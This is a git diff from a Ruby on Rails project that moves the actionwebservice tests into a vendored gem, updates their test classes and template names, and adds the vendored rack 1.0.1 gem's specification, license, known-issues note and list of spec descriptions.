     api_method :bool_array,  :expects => [[:bool]]
+    
+    api_method :a, :expects => [A]
   end
 end
 
@@ -78,6 +82,10 @@ class TC_Casting < Test::Unit::TestCase
       cast_expects(:int_array, ['1', '2.021', '4'])
     end
   end
+  
+  def test_structured_type_casting_with_polymorphism
+    assert cast_expects(:a, B.new)[0].is_a?(B)
+  end
 
   private
     def cast_expects(method_name, *args)
diff --git a/vendor/rails/actionwebservice/test/client_soap_test.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/test/client_soap_test.rb
similarity index 97%
rename from vendor/rails/actionwebservice/test/client_soap_test.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/test/client_soap_test.rb
index 914bf377..a6ffe7f8 100644
--- a/vendor/rails/actionwebservice/test/client_soap_test.rb
+++ b/vendor/gems/datanoise-actionwebservice-2.3.2/test/client_soap_test.rb
@@ -19,6 +19,8 @@ module ClientSoapTest
     rescue Exception => e
       $stderr.puts e.message
       $stderr.puts e.backtrace.join("\n")
+    ensure
+      ActiveRecord::Base.clear_active_connections!
     end
   end
 
@@ -46,7 +48,7 @@ module ClientSoapTest
   end
 end
 
-class TC_ClientSoap < Test::Unit::TestCase
+class TC_ClientSoap < ActiveSupport::TestCase
   include ClientTest
   include ClientSoapTest
   
diff --git a/vendor/rails/actionwebservice/test/client_xmlrpc_test.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/test/client_xmlrpc_test.rb
similarity index 97%
rename from vendor/rails/actionwebservice/test/client_xmlrpc_test.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/test/client_xmlrpc_test.rb
index 896ec595..da524a8b 100644
--- a/vendor/rails/actionwebservice/test/client_xmlrpc_test.rb
+++ b/vendor/gems/datanoise-actionwebservice-2.3.2/test/client_xmlrpc_test.rb
@@ -15,10 +15,11 @@ module ClientXmlRpcTest
       @controller.process(test_request, response) 
       res.header['content-type'] = 'text/xml'
       res.body = response.body
-      # puts res.body
     rescue Exception => e
       $stderr.puts e.message
       $stderr.puts e.backtrace.join("\n")
+    ensure
+      ActiveRecord::Base.clear_active_connections!
     end
   end
 
@@ -41,7 +42,7 @@ module ClientXmlRpcTest
   end
 end
 
-class TC_ClientXmlRpc < Test::Unit::TestCase
+class TC_ClientXmlRpc < ActiveSupport::TestCase
   include ClientTest
   include ClientXmlRpcTest
   
diff --git a/vendor/rails/actionwebservice/test/container_test.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/test/container_test.rb
similarity index 100%
rename from vendor/rails/actionwebservice/test/container_test.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/test/container_test.rb
diff --git a/vendor/rails/actionwebservice/test/dispatcher_action_controller_soap_test.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/test/dispatcher_action_controller_soap_test.rb
similarity index 98%
rename from vendor/rails/actionwebservice/test/dispatcher_action_controller_soap_test.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/test/dispatcher_action_controller_soap_test.rb
index 0b58af30..bd9fc19d 100644
--- a/vendor/rails/actionwebservice/test/dispatcher_action_controller_soap_test.rb
+++ b/vendor/gems/datanoise-actionwebservice-2.3.2/test/dispatcher_action_controller_soap_test.rb
@@ -129,7 +129,8 @@ class TC_DispatcherActionControllerSoap < Test::Unit::TestCase
     end
 
     def ensure_valid_wsdl_action(controller)
-      test_request = ActionController::TestRequest.new({ 'action' => 'wsdl' })
+      test_request = ActionController::TestRequest.new
+      test_request.action = 'wsdl'
       test_response = ActionController::TestResponse.new
       wsdl = controller.process(test_request, test_response).body
       ensure_valid_wsdl(controller, wsdl, DispatcherTest::WsdlNamespace)
diff --git a/vendor/rails/actionwebservice/test/dispatcher_action_controller_xmlrpc_test.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/test/dispatcher_action_controller_xmlrpc_test.rb
similarity index 100%
rename from vendor/rails/actionwebservice/test/dispatcher_action_controller_xmlrpc_test.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/test/dispatcher_action_controller_xmlrpc_test.rb
diff --git a/vendor/rails/actionwebservice/test/fixtures/db_definitions/mysql.sql b/vendor/gems/datanoise-actionwebservice-2.3.2/test/fixtures/db_definitions/mysql.sql
similarity index 100%
rename from vendor/rails/actionwebservice/test/fixtures/db_definitions/mysql.sql
rename to vendor/gems/datanoise-actionwebservice-2.3.2/test/fixtures/db_definitions/mysql.sql
diff --git a/vendor/rails/actionwebservice/test/fixtures/users.yml b/vendor/gems/datanoise-actionwebservice-2.3.2/test/fixtures/users.yml
similarity index 100%
rename from vendor/rails/actionwebservice/test/fixtures/users.yml
rename to vendor/gems/datanoise-actionwebservice-2.3.2/test/fixtures/users.yml
diff --git a/vendor/rails/actionwebservice/test/gencov b/vendor/gems/datanoise-actionwebservice-2.3.2/test/gencov
old mode 100755
new mode 100644
similarity index 100%
rename from vendor/rails/actionwebservice/test/gencov
rename to vendor/gems/datanoise-actionwebservice-2.3.2/test/gencov
diff --git a/vendor/rails/actionwebservice/test/invocation_test.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/test/invocation_test.rb
similarity index 100%
rename from vendor/rails/actionwebservice/test/invocation_test.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/test/invocation_test.rb
diff --git a/vendor/rails/actionwebservice/test/run b/vendor/gems/datanoise-actionwebservice-2.3.2/test/run
old mode 100755
new mode 100644
similarity index 100%
rename from vendor/rails/actionwebservice/test/run
rename to vendor/gems/datanoise-actionwebservice-2.3.2/test/run
diff --git a/vendor/rails/actionwebservice/test/scaffolded_controller_test.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/test/scaffolded_controller_test.rb
similarity index 91%
rename from vendor/rails/actionwebservice/test/scaffolded_controller_test.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/test/scaffolded_controller_test.rb
index 722007cc..19e21a21 100644
--- a/vendor/rails/actionwebservice/test/scaffolded_controller_test.rb
+++ b/vendor/gems/datanoise-actionwebservice-2.3.2/test/scaffolded_controller_test.rb
@@ -64,39 +64,39 @@ class ScaffoldedController < ActionController::Base
   end
 end
 
-class ScaffoldedControllerTest < Test::Unit::TestCase
-  def setup
-    @controller = ScaffoldedController.new
-    @request    = ActionController::TestRequest.new
-    @response   = ActionController::TestResponse.new
-  end
+class ScaffoldedControllerTest < ActionController::TestCase
+  # def setup
+  #   @controller = ScaffoldedController.new
+  #   @request    = ActionController::TestRequest.new
+  #   @response   = ActionController::TestResponse.new
+  # end
 
   def test_scaffold_invoke
     get :scaffold_invoke
-    assert_template 'methods.erb'
+    assert_template 'methods.html.erb'
   end
 
   def test_scaffold_invoke_method_params
     get :scaffold_invoke_method_params, :service => 'scaffolded', :method => 'Hello'
-    assert_template 'parameters.erb'
+    assert_template 'parameters.html.erb'
   end
   
   def test_scaffold_invoke_method_params_with_struct
     get :scaffold_invoke_method_params, :service => 'scaffolded', :method => 'HelloStructParam'
-    assert_template 'parameters.erb'
+    assert_template 'parameters.html.erb'
     assert_tag :tag => 'form'
     assert_tag :tag => 'input', :attributes => {:name => "method_params[0][name]"}
   end
 
   def test_scaffold_invoke_submit_hello
     post :scaffold_invoke_submit, :service => 'scaffolded', :method => 'Hello', :method_params => {'0' => '5', '1' => 'hello world'}
-    assert_template 'result.erb'
+    assert_template 'result.html.erb'
     assert_equal false, @controller.instance_eval{ @method_return_value }
   end
 
   def test_scaffold_invoke_submit_bye
     post :scaffold_invoke_submit, :service => 'scaffolded', :method => 'Bye'
-    assert_template 'result.erb'
+    assert_template 'result.html.erb'
     persons = [ScaffoldPerson.new(:id => 1, :name => "leon"), ScaffoldPerson.new(:id => 2, :name => "paul")]
     assert_equal persons, @controller.instance_eval{ @method_return_value }
   end
diff --git a/vendor/rails/actionwebservice/test/struct_test.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/test/struct_test.rb
similarity index 100%
rename from vendor/rails/actionwebservice/test/struct_test.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/test/struct_test.rb
diff --git a/vendor/rails/actionwebservice/test/test_invoke_test.rb b/vendor/gems/datanoise-actionwebservice-2.3.2/test/test_invoke_test.rb
similarity index 98%
rename from vendor/rails/actionwebservice/test/test_invoke_test.rb
rename to vendor/gems/datanoise-actionwebservice-2.3.2/test/test_invoke_test.rb
index 72ebc719..7291797a 100644
--- a/vendor/rails/actionwebservice/test/test_invoke_test.rb
+++ b/vendor/gems/datanoise-actionwebservice-2.3.2/test/test_invoke_test.rb
@@ -49,7 +49,7 @@ class TestInvokeLayeredController < TestController
   web_service(:two) { @service_two ||= TestInvokeService.new }
 end
 
-class TestInvokeTest < Test::Unit::TestCase
+class TestInvokeTest < ActiveSupport::TestCase
   def setup
     @request  = ActionController::TestRequest.new
     @response = ActionController::TestResponse.new
diff --git a/vendor/gems/rack-1.0.1/.specification b/vendor/gems/rack-1.0.1/.specification
new file mode 100644
index 00000000..bd748ee1
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/.specification
@@ -0,0 +1,278 @@
+--- !ruby/object:Gem::Specification 
+name: rack
+version: !ruby/object:Gem::Version 
+  version: 1.0.1
+platform: ruby
+authors: 
+- Christian Neukirchen
+autorequire: 
+bindir: bin
+cert_chain: []
+
+date: 2009-10-17 00:00:00 -04:00
+default_executable: rackup
+dependencies: 
+- !ruby/object:Gem::Dependency 
+  name: test-spec
+  type: :development
+  version_requirement: 
+  version_requirements: !ruby/object:Gem::Requirement 
+    requirements: 
+    - - ">="
+      - !ruby/object:Gem::Version 
+        version: "0"
+    version: 
+- !ruby/object:Gem::Dependency 
+  name: camping
+  type: :development
+  version_requirement: 
+  version_requirements: !ruby/object:Gem::Requirement 
+    requirements: 
+    - - ">="
+      - !ruby/object:Gem::Version 
+        version: "0"
+    version: 
+- !ruby/object:Gem::Dependency 
+  name: fcgi
+  type: :development
+  version_requirement: 
+  version_requirements: !ruby/object:Gem::Requirement 
+    requirements: 
+    - - ">="
+      - !ruby/object:Gem::Version 
+        version: "0"
+    version: 
+- !ruby/object:Gem::Dependency 
+  name: memcache-client
+  type: :development
+  version_requirement: 
+  version_requirements: !ruby/object:Gem::Requirement 
+    requirements: 
+    - - ">="
+      - !ruby/object:Gem::Version 
+        version: "0"
+    version: 
+- !ruby/object:Gem::Dependency 
+  name: mongrel
+  type: :development
+  version_requirement: 
+  version_requirements: !ruby/object:Gem::Requirement 
+    requirements: 
+    - - ">="
+      - !ruby/object:Gem::Version 
+        version: "0"
+    version: 
+- !ruby/object:Gem::Dependency 
+  name: ruby-openid
+  type: :development
+  version_requirement: 
+  version_requirements: !ruby/object:Gem::Requirement 
+    requirements: 
+    - - ~>
+      - !ruby/object:Gem::Version 
+        version: 2.0.0
+    version: 
+- !ruby/object:Gem::Dependency 
+  name: thin
+  type: :development
+  version_requirement: 
+  version_requirements: !ruby/object:Gem::Requirement 
+    requirements: 
+    - - ">="
+      - !ruby/object:Gem::Version 
+        version: "0"
+    version: 
+description: Rack provides minimal, modular and adaptable interface for developing web applications in Ruby.  By wrapping HTTP requests and responses in the simplest way possible, it unifies and distills the API for web servers, web frameworks, and software in between (the so-called middleware) into a single method call.  Also see http://rack.rubyforge.org.
+email: chneukirchen@gmail.com
+executables: 
+- rackup
+extensions: []
+
+extra_rdoc_files: 
+- README
+- SPEC
+- RDOX
+- KNOWN-ISSUES
+files: 
+- COPYING
+- KNOWN-ISSUES
+- README
+- Rakefile
+- bin/rackup
+- contrib/rack_logo.svg
+- example/lobster.ru
+- example/protectedlobster.rb
+- example/protectedlobster.ru
+- lib/rack.rb
+- lib/rack/adapter/camping.rb
+- lib/rack/auth/abstract/handler.rb
+- lib/rack/auth/abstract/request.rb
+- lib/rack/auth/basic.rb
+- lib/rack/auth/digest/md5.rb
+- lib/rack/auth/digest/nonce.rb
+- lib/rack/auth/digest/params.rb
+- lib/rack/auth/digest/request.rb
+- lib/rack/auth/openid.rb
+- lib/rack/builder.rb
+- lib/rack/cascade.rb
+- lib/rack/chunked.rb
+- lib/rack/commonlogger.rb
+- lib/rack/conditionalget.rb
+- lib/rack/content_length.rb
+- lib/rack/content_type.rb
+- lib/rack/deflater.rb
+- lib/rack/directory.rb
+- lib/rack/file.rb
+- lib/rack/handler.rb
+- lib/rack/handler/cgi.rb
+- lib/rack/handler/evented_mongrel.rb
+- lib/rack/handler/fastcgi.rb
+- lib/rack/handler/lsws.rb
+- lib/rack/handler/mongrel.rb
+- lib/rack/handler/scgi.rb
+- lib/rack/handler/swiftiplied_mongrel.rb
+- lib/rack/handler/thin.rb
+- lib/rack/handler/webrick.rb
+- lib/rack/head.rb
+- lib/rack/lint.rb
+- lib/rack/lobster.rb
+- lib/rack/lock.rb
+- lib/rack/methodoverride.rb
+- lib/rack/mime.rb
+- lib/rack/mock.rb
+- lib/rack/recursive.rb
+- lib/rack/reloader.rb
+- lib/rack/request.rb
+- lib/rack/response.rb
+- lib/rack/rewindable_input.rb
+- lib/rack/session/abstract/id.rb
+- lib/rack/session/cookie.rb
+- lib/rack/session/memcache.rb
+- lib/rack/session/pool.rb
+- lib/rack/showexceptions.rb
+- lib/rack/showstatus.rb
+- lib/rack/static.rb
+- lib/rack/urlmap.rb
+- lib/rack/utils.rb
+- test/cgi/lighttpd.conf
+- test/cgi/test
+- test/cgi/test.fcgi
+- test/cgi/test.ru
+- test/multipart/binary
+- test/multipart/empty
+- test/multipart/ie
+- test/multipart/nested
+- test/multipart/none
+- test/multipart/semicolon
+- test/multipart/text
+- test/spec_rack_auth_basic.rb
+- test/spec_rack_auth_digest.rb
+- test/spec_rack_auth_openid.rb
+- test/spec_rack_builder.rb
+- test/spec_rack_camping.rb
+- test/spec_rack_cascade.rb
+- test/spec_rack_cgi.rb
+- test/spec_rack_chunked.rb
+- test/spec_rack_commonlogger.rb
+- test/spec_rack_conditionalget.rb
+- test/spec_rack_content_length.rb
+- test/spec_rack_content_type.rb
+- test/spec_rack_deflater.rb
+- test/spec_rack_directory.rb
+- test/spec_rack_fastcgi.rb
+- test/spec_rack_file.rb
+- test/spec_rack_handler.rb
+- test/spec_rack_head.rb
+- test/spec_rack_lint.rb
+- test/spec_rack_lobster.rb
+- test/spec_rack_lock.rb
+- test/spec_rack_methodoverride.rb
+- test/spec_rack_mock.rb
+- test/spec_rack_mongrel.rb
+- test/spec_rack_recursive.rb
+- test/spec_rack_request.rb
+- test/spec_rack_response.rb
+- test/spec_rack_rewindable_input.rb
+- test/spec_rack_session_cookie.rb
+- test/spec_rack_session_memcache.rb
+- test/spec_rack_session_pool.rb
+- test/spec_rack_showexceptions.rb
+- test/spec_rack_showstatus.rb
+- test/spec_rack_static.rb
+- test/spec_rack_thin.rb
+- test/spec_rack_urlmap.rb
+- test/spec_rack_utils.rb
+- test/spec_rack_webrick.rb
+- test/testrequest.rb
+- test/unregistered_handler/rack/handler/unregistered.rb
+- test/unregistered_handler/rack/handler/unregistered_long_one.rb
+- SPEC
+- RDOX
+- rack.gemspec
+has_rdoc: true
+homepage: http://rack.rubyforge.org
+licenses: []
+
+post_install_message: 
+rdoc_options: []
+
+require_paths: 
+- lib
+required_ruby_version: !ruby/object:Gem::Requirement 
+  requirements: 
+  - - ">="
+    - !ruby/object:Gem::Version 
+      version: "0"
+  version: 
+required_rubygems_version: !ruby/object:Gem::Requirement 
+  requirements: 
+  - - ">="
+    - !ruby/object:Gem::Version 
+      version: "0"
+  version: 
+requirements: []
+
+rubyforge_project: rack
+rubygems_version: 1.3.5
+signing_key: 
+specification_version: 2
+summary: a modular Ruby webserver interface
+test_files: 
+- test/spec_rack_auth_basic.rb
+- test/spec_rack_auth_digest.rb
+- test/spec_rack_auth_openid.rb
+- test/spec_rack_builder.rb
+- test/spec_rack_camping.rb
+- test/spec_rack_cascade.rb
+- test/spec_rack_cgi.rb
+- test/spec_rack_chunked.rb
+- test/spec_rack_commonlogger.rb
+- test/spec_rack_conditionalget.rb
+- test/spec_rack_content_length.rb
+- test/spec_rack_content_type.rb
+- test/spec_rack_deflater.rb
+- test/spec_rack_directory.rb
+- test/spec_rack_fastcgi.rb
+- test/spec_rack_file.rb
+- test/spec_rack_handler.rb
+- test/spec_rack_head.rb
+- test/spec_rack_lint.rb
+- test/spec_rack_lobster.rb
+- test/spec_rack_lock.rb
+- test/spec_rack_methodoverride.rb
+- test/spec_rack_mock.rb
+- test/spec_rack_mongrel.rb
+- test/spec_rack_recursive.rb
+- test/spec_rack_request.rb
+- test/spec_rack_response.rb
+- test/spec_rack_rewindable_input.rb
+- test/spec_rack_session_cookie.rb
+- test/spec_rack_session_memcache.rb
+- test/spec_rack_session_pool.rb
+- test/spec_rack_showexceptions.rb
+- test/spec_rack_showstatus.rb
+- test/spec_rack_static.rb
+- test/spec_rack_thin.rb
+- test/spec_rack_urlmap.rb
+- test/spec_rack_utils.rb
+- test/spec_rack_webrick.rb
diff --git a/vendor/gems/rack-1.0.1/COPYING b/vendor/gems/rack-1.0.1/COPYING
new file mode 100644
index 00000000..11b4c6e0
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/COPYING
@@ -0,0 +1,18 @@
+Copyright (c) 2007, 2008, 2009 Christian Neukirchen <purl.org/net/chneukirchen>
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to
+deal in the Software without restriction, including without limitation the
+rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
+sell copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in
+all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL
+THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER 
+IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
diff --git a/vendor/gems/rack-1.0.1/KNOWN-ISSUES b/vendor/gems/rack-1.0.1/KNOWN-ISSUES
new file mode 100644
index 00000000..790199bd
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/KNOWN-ISSUES
@@ -0,0 +1,18 @@
+= Known issues with Rack and Web servers
+
+* Lighttpd sets wrong SCRIPT_NAME and PATH_INFO if you mount your
+  FastCGI app at "/".  This can be fixed by using this middleware:
+
+    class LighttpdScriptNameFix
+      def initialize(app)
+        @app = app
+      end
+
+      def call(env)
+        env["PATH_INFO"] = env["SCRIPT_NAME"].to_s + env["PATH_INFO"].to_s
+        env["SCRIPT_NAME"] = ""
+        @app.call(env)
+      end
+    end
+
+  Of course, use this only when your app runs at "/".
diff --git a/vendor/gems/rack-1.0.1/RDOX b/vendor/gems/rack-1.0.1/RDOX
new file mode 100644
index 00000000..8b95b0cb
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/RDOX
@@ -0,0 +1,428 @@
+
+== Rack::Auth::Basic
+* should challenge correctly when no credentials are specified
+* should rechallenge if incorrect credentials are specified
+* should return application output if correct credentials are specified
+* should return 400 Bad Request if different auth scheme used
+* realm as optional constructor arg
+
+== Rack::Auth::Digest::MD5
+* should challenge when no credentials are specified
+* should return application output if correct credentials given
+* should return application output if correct credentials given (hashed passwords)
+* should rechallenge if incorrect username given
+* should rechallenge if incorrect password given
+* should rechallenge with stale parameter if nonce is stale
+* should return 400 Bad Request if incorrect qop given
+* should return 400 Bad Request if incorrect uri given
+* should return 400 Bad Request if different auth scheme used
+* should not require credentials for unprotected path
+* should challenge when no credentials are specified for protected path
+* should return application output if correct credentials given for protected path
+* should return application output if correct credentials given for POST
+* should return application output if correct credentials given for PUT (using method override of POST)
+* realm as optional constructor arg
+
+== Rack::Auth::OpenID
+* realm uri should be valid
+* should be able to check if a uri is within the realm (empty)
+* return_to should be valid
+* extensions should have required constants defined
+* extensions should have Request and Response defined and inherit from OpenID::Extension
+
+== Rack::Builder
+* chains apps by default
+* has implicit #to_app
+* supports blocks on use
+* has explicit #to_app
+* apps are initialized once
+
+== Rack::Adapter::Camping
+* works with GET
+* works with POST
+
+== Rack::Cascade
+* should dispatch onward on 404 by default
+* should dispatch onward on whatever is passed
+* should fail if empty
+* should append new app
+
+== Rack::Handler::CGI
+* startup (empty)
+* should respond
+* should be a lighttpd
+* should have rack headers
+* should have CGI headers on GET
+* should have CGI headers on POST
+* should support HTTP auth
+* should set status
+* shutdown
+
+== Rack::Chunked
+* chunks responses with no Content-Length
+* chunks empty bodies properly
+* does not modify response when Content-Length header present
+* does not modify response when client is HTTP/1.0
+* does not modify response when Transfer-Encoding header already present
+* does not modify response when status code is 100
+* does not modify response when status code is 204
+* does not modify response when status code is 304
+
+== Rack::CommonLogger
+* should log to rack.errors by default
+* should log to anything with <<
+
+== Rack::ConditionalGet
+* should set a 304 status and truncate body when If-Modified-Since hits
+* should set a 304 status and truncate body when If-None-Match hits
+* should not affect non-GET/HEAD requests
+
+== Rack::ContentLength
+* sets Content-Length on String bodies if none is set
+* sets Content-Length on Array bodies if none is set
+* does not set Content-Length on variable length bodies
+* does not change Content-Length if it is already set
+* does not set Content-Length on 304 responses
+* does not set Content-Length when Transfer-Encoding is chunked
+
+== Rack::ContentType
+* sets Content-Type to default text/html if none is set
+* sets Content-Type to chosen default if none is set
+* does not change Content-Type if it is already set
+* case insensitive detection of Content-Type
+
+== Rack::Deflater
+* should be able to deflate bodies that respond to each
+* should be able to deflate String bodies
+* should be able to gzip bodies that respond to each
+* should be able to fallback to no deflation
+* should be able to skip when there is no response entity body
+* should handle the lack of an acceptable encoding
+* should handle gzip response with Last-Modified header
+* should do nothing when no-transform Cache-Control directive present
+
+== Rack::Directory
+* serves directory indices
+* passes to app if file found
+* serves uri with URL encoded filenames
+* does not allow directory traversal
+* 404s if it can't find the file
+
+== Rack::Handler::FastCGI
+* startup (empty)
+* should respond
+* should be a lighttpd
+* should have rack headers
+* should have CGI headers on GET
+* should have CGI headers on POST
+* should support HTTP auth
+* should set status
+* shutdown
+
+== Rack::File
+* serves files
+* sets Last-Modified header
+* serves files with URL encoded filenames
+* does not allow directory traversal
+* does not allow directory traversal with encoded periods
+* 404s if it can't find the file
+* detects SystemCallErrors
+* returns bodies that respond to #to_path
+
+== Rack::Handler
+* has registered default handlers
+* handler that doesn't exist should raise a NameError
+* should get unregistered, but already required, handler by name
+* should register custom handler
+* should not need registration for properly coded handlers even if not already required
+
+== Rack::Head
+* response (empty)
+* passes GET, POST, PUT, DELETE, OPTIONS, TRACE requests
+* removes body from HEAD requests
+
+== Rack::Lint
+* passes valid request
+* notices fatal errors
+* notices environment errors
+* notices input errors
+* notices error errors
+* notices status errors
+* notices header errors
+* notices content-type errors
+* notices content-length errors
+* notices body errors
+* notices input handling errors
+* notices error handling errors
+* notices HEAD errors
+* passes valid read calls
+
+== Rack::Lint::InputWrapper
+* delegates :size to underlying IO object
+* delegates :rewind to underlying IO object
+
+== Rack::Lobster::LambdaLobster
+* should be a single lambda
+* should look like a lobster
+* should be flippable
+
+== Rack::Lobster
+* should look like a lobster
+* should be flippable
+* should provide crashing for testing purposes
+
+== Rack::Lock
+* should call synchronize on lock
+* should set multithread flag to false
+* should reset original multithread flag when exiting lock
+
+== Rack::MethodOverride
+* should not affect GET requests
+* _method parameter should modify REQUEST_METHOD for POST requests
+* X-HTTP-Method-Override header should modify REQUEST_METHOD for POST requests
+* should not modify REQUEST_METHOD if the method is unknown
+* should not modify REQUEST_METHOD when _method is nil
+* should store the original REQUEST_METHOD prior to overriding
+
+== Rack::MockRequest
+* should return a MockResponse
+* should be able to only return the environment
+* should provide sensible defaults
+* should allow GET/POST/PUT/DELETE
+* should set content length
+* should allow posting
+* should use all parts of an URL
+* should behave valid according to the Rack spec
+
+== Rack::MockResponse
+* should provide access to the HTTP status
+* should provide access to the HTTP headers
+* should provide access to the HTTP body
+* should provide access to the Rack errors
+* should optionally make Rack errors fatal
+
+== Rack::Handler::Mongrel
+* should respond
+* should be a Mongrel
+* should have rack headers
+* should have CGI headers on GET
+* should have CGI headers on POST
+* should support HTTP auth
+* should set status
+* should provide a .run
+* should provide a .run that maps a hash
+* should provide a .run that maps a urlmap
+* should provide a .run that maps a urlmap restricting by host
+* should stream #each part of the response
+
+== Rack::Recursive
+* should allow for subrequests
+* should raise error on requests not below the app
+* should support forwarding
+
+== Rack::Request
+* wraps the rack variables
+* can figure out the correct host
+* can parse the query string
+* can parse POST data
+* can parse POST data with explicit content type
+* does not parse POST data when media type is not form-data
+* rewinds input after parsing POST data
+* cleans up Safari's ajax POST body
+* can get value by key from params with #[]
+* can set value to key on params with #[]=
+* values_at answers values by keys in order given
+* referrer should be extracted correct
+* can cache, but invalidates the cache
+* can figure out if called via XHR
+* can parse cookies
+* parses cookies according to RFC 2109
+* provides setters
+* provides the original env
+* can restore the URL
+* can restore the full path
+* can handle multiple media type parameters
+* can parse multipart form data
+* can parse big multipart form data
+* can detect invalid multipart form data
+* shouldn't try to interpret binary as utf8
+* should work around buggy 1.8.* Tempfile equality
+* does conform to the Rack spec
+* should parse Accept-Encoding correctly
+* should provide ip information
+* should allow subclass request to be instantiated after parent request
+* should allow parent request to be instantiated after subclass request
+
+== Rack::Response
+* has sensible default values
+* can be written to
+* can set and read headers
+* can set cookies
+* formats the Cookie expiration date accordingly to RFC 2109
+* can set secure cookies
+* can set http only cookies
+* can delete cookies
+* can do redirects
+* has a useful constructor
+* has a constructor that can take a block
+* doesn't return invalid responses
+* knows if it's empty
+* should provide access to the HTTP status
+* should provide access to the HTTP headers
+* does not add or change Content-Length when #finish()ing
+* updates Content-Length when body appended to using #write
+
+== Rack::RewindableInput
+=== given an IO object that is already rewindable
+* should be able to handle to read()
+* should be able to handle to read(nil)
+* should be able to handle to read(length)
+* should be able to handle to read(length, buffer)
+* should be able to handle to read(nil, buffer)
+* should rewind to the beginning when #rewind is called
+* should be able to handle gets
+* should be able to handle each
+* should not buffer into a Tempfile if no data has been read yet
+* should buffer into a Tempfile when data has been consumed for the first time
+* should close the underlying tempfile upon calling #close
+* should be possibel to call #close when no data has been buffered yet (empty)
+* should be possible to call #close multiple times (empty)
+=== given an IO object that is not rewindable
+* should be able to handle to read()
+* should be able to handle to read(nil)
+* should be able to handle to read(length)
+* should be able to handle to read(length, buffer)
+* should be able to handle to read(nil, buffer)
+* should rewind to the beginning when #rewind is called
+* should be able to handle gets
+* should be able to handle each
+* should not buffer into a Tempfile if no data has been read yet
+* should buffer into a Tempfile when data has been consumed for the first time
+* should close the underlying tempfile upon calling #close
+* should be possibel to call #close when no data has been buffered yet (empty)
+* should be possible to call #close multiple times (empty)
+=== given an IO object whose rewind method raises Errno::ESPIPE
+* should be able to handle to read()
+* should be able to handle to read(nil)
+* should be able to handle to read(length)
+* should be able to handle to read(length, buffer)
+* should be able to handle to read(nil, buffer)
+* should rewind to the beginning when #rewind is called
+* should be able to handle gets
+* should be able to handle each
+* should not buffer into a Tempfile if no data has been read yet
+* should buffer into a Tempfile when data has been consumed for the first time
+* should close the underlying tempfile upon calling #close
+* should be possibel to call #close when no data has been buffered yet (empty)
+* should be possible to call #close multiple times (empty)
+
+== Rack::Session::Cookie
+* creates a new cookie
+* loads from a cookie
+* survives broken cookies
+* barks on too big cookies
+* creates a new cookie with integrity hash
+* loads from a cookie wih integrity hash
+* ignores tampered with session cookies
+
+== Rack::Session::Memcache
+* MemCache can connect to existing server (empty)
+* faults on no connection
+* creates a new cookie
+* determines session from a cookie
+* survives nonexistant cookies
+* maintains freshness
+* deletes cookies with :drop option
+* provides new session id with :renew option
+* omits cookie with :defer option
+* multithread: should cleanly merge sessions (empty)
+
+== Rack::Session::Pool
+* creates a new cookie
+* determines session from a cookie
+* survives nonexistant cookies
+* deletes cookies with :drop option
+* provides new session id with :renew option
+* omits cookie with :defer option
+* multithread: should merge sessions (empty)
+
+== Rack::ShowExceptions
+* catches exceptions
+
+== Rack::ShowStatus
+* should provide a default status message
+* should let the app provide additional information
+* should not replace existing messages
+* should pass on original headers
+* should replace existing messages if there is detail
+
+== Rack::Static
+* serves files
+* 404s if url root is known but it can't find the file
+* calls down the chain if url root is not known
+
+== Rack::Handler::Thin
+* should respond
+* should be a Thin
+* should have rack headers
+* should have CGI headers on GET
+* should have CGI headers on POST
+* should support HTTP auth
+* should set status
+
+== Rack::URLMap
+* dispatches paths correctly
+* dispatches hosts correctly
+* should be nestable
+* should route root apps correctly
+
+== Rack::Utils
+* should escape correctly
+* should escape correctly for multibyte characters
+* should unescape correctly
+* should parse query strings correctly
+* should parse nested query strings correctly
+* should build query strings correctly
+* should figure out which encodings are acceptable
+* should return the bytesize of String
+
+== Rack::Utils::HeaderHash
+* should retain header case
+* should check existence of keys case insensitively
+* should merge case-insensitively
+* should overwrite case insensitively and assume the new key's case
+* should be converted to real Hash
+* should convert Array values to Strings when converting to Hash
+* should be able to delete the given key case-sensitively
+* should be able to delete the given key case-insensitively
+* should return the deleted value when #delete is called on an existing key
+* should return nil when #delete is called on a non-existant key
+
+== Rack::Utils::Context
+* should set context correctly
+* should alter app on recontexting
+* should run different apps
+
+== Rack::Utils::Multipart
+* should return nil if content type is not multipart
+* should parse multipart upload with text file
+* should parse multipart upload with nested parameters
+* should parse multipart upload with binary file
+* should parse multipart upload with empty file
+* should parse multipart upload with filename with semicolons
+* should not include file params if no file was selected
+* should parse IE multipart upload and clean up filename
+* rewinds input after parsing upload
+
+== Rack::Handler::WEBrick
+* should respond
+* should be a WEBrick
+* should have rack headers
+* should have CGI headers on GET
+* should have CGI headers on POST
+* should support HTTP auth
+* should set status
